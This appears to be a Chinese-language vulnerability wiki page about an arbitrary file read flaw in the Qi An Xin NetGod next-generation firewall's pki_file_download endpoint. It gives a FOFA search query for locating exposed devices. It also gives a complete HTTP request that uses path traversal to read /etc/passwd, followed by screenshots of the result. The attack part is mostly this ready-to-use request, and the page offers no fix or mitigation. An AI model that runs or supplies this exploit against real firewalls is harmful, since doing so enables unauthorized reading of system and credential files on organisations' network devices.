menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 奇安信 chevron_right 网神下一代极速防火墙 pki_file_download 任意文件读取漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    网神下一代极速防火墙 pki_file_download 任意文件读取漏洞.md
    1.95 KB / 2021-07-04 06:01:08
        # 网神下一代极速防火墙 pki_file_download 任意文件读取漏洞
    
    ## 漏洞描述
    
    网神下一代极速防火墙 pki_file_download 存在任意文件读取漏洞,攻击者可以通过漏洞获取服务器上的任意文件
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > 网神下一代极速防火墙
    
    ## FOFA
    
    > [!NOTE]
    >
    > app="网神下一代极速防火墙"
    
    ## 漏洞复现
    
    登录页面如下
    
    ![image-20210521085429879](http://wikioss.peiqi.tech/vuln/image-20210521085429879.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    发送请求包
    
    ```
    GET /?g=pki_file_download&filename=../../../../../etc/passwd HTTP/1.1
    Host: 
    Connection: close
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
    sec-ch-ua-mobile: ?0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
    Cookie: __s_sessionid__=7rl7vvg1mlc00gf4pfmo74h0t7
    ```
    
    ![image-20210521085847583](http://wikioss.peiqi.tech/vuln/image-20210521085847583.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ## Goby & POC
    
    ![image-20210521092113674](http://wikioss.peiqi.tech/vuln/image-20210521092113674.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    links
    file_download